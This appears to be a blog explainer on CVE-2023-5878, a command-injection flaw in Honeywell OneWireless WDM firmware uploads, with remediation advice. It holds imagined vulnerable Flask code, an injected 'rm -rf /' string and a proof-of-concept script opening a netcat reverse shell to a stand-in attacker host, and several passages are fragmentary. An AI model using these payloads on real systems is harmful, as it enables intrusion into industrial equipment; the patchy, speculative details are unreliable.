Industrial systems are not immune to software vulnerabilities. One notable recent example is CVE-2023-5878, affecting critical infrastructure deployed by Honeywell. This vulnerability puts several releases of Honeywell's OneWireless Device Manager (WDM) at risk by allowing authenticated attackers to inject and execute system-level commands through a flaw in the firmware upgrade mechanism.

This long-read walks you through the details of CVE-2023-5878—how it works, which versions are vulnerable, a sample exploit, and remediation. If you run Honeywell OneWireless WDM on affected versions, take this seriously and patch ASAP.

What Is Honeywell OneWireless WDM?

Honeywell OneWireless Device Manager (WDM) is a vital industrial controller used for managing, monitoring, and updating wireless field devices in critical facilities (oil & gas, chemical, manufacturing, etc). The WDM system is typically accessed over the network, making its security crucial.

What is CVE-2023-5878?

This bug is a classic *command injection* in the WDM web admin interface. If an authenticated user uploads a malicious firmware package, crafted with injected shell commands, the system processes and runs these commands as root on the WDM controller.

Implication: Any attacker with access to legitimate WDM credentials could potentially take control of the device, run arbitrary code, and establish persistence or move laterally inside the network.

R330.1

Fixed in: R322.3, R330.2, or later (see Honeywell Security Advisory)

The WDM backend processes the file and executes injected shell commands.

This requires authentication, but many real-world deployments use weak credentials, default passwords, or share admin logins.

Let's imagine the vulnerable function (based on usual firmware upload handling in Python Flask)

# Pseudo-code: Vulnerable Firmware Upload Handling

@app.route('/admin/upload_firmware', methods=['POST'])
def upload_firmware():
    # Step 1: Save the firmware file
    firmware = request.files['firmware']
    firmware.save('/tmp/fw_update.bin')
    
    # Step 2: Call system command to unpack/update (VULNERABLE)
    os.system("tar -xzvf /tmp/fw_update.bin -C /opt/fw/")
    update_script = "/opt/fw/update.sh"
    os.system(f"sh {update_script}")
    
    return "Firmware update complete"

- If the firmware’s filename or update script is malicious (contains shell metacharacters like ; rm -rf /;), the system executes arbitrary commands, not just updates.

Proof of Concept Exploit (for Educational Use Only)

Here is a simplified demonstration. Suppose we create a firmware package (archive) with a payload in the update.sh script:

# update.sh (malicious payload)
#!/bin/sh
echo 'Malicious payload running as root!' > /tmp/root_whoami.txt
nc -e /bin/sh attackerip 4444  # Reverse shell to attacker's machine

Use the authenticated WDM admin interface to upload this firmware.

3. Once the update runs, the device connects back to the attacker's machine, giving remote shell access.

Sabotage process, exfiltrate sensitive data, or cause downtime.

Even though authentication is needed, lateral movement, credential stuffing, and insider attacks are realistic threats in industrial sectors.

Update NOW: Upgrade Honeywell WDM to R322.3, R330.2, or the *latest* version.

- Download from Honeywell OneWireless site

References

- National Vulnerability Database: CVE-2023-5878
- Honeywell Security Bulletin
- Exploit DB - Command Injection Overview

Conclusion

CVE-2023-5878 is a textbook example of why even industrial control systems need rigorous software design and regular patching cycles. While the attack pathway needs authentication, the consequences of exploitation are severe, especially in critical environments.

If you operate Honeywell OneWireless WDM—update, secure your credentials and monitor your environments today!


*Disclaimer: This post is for educational purposes and awareness. Do not attempt exploitation on unauthorized systems.*

Timeline

Published on: 02/06/2025 15:15:12 UTC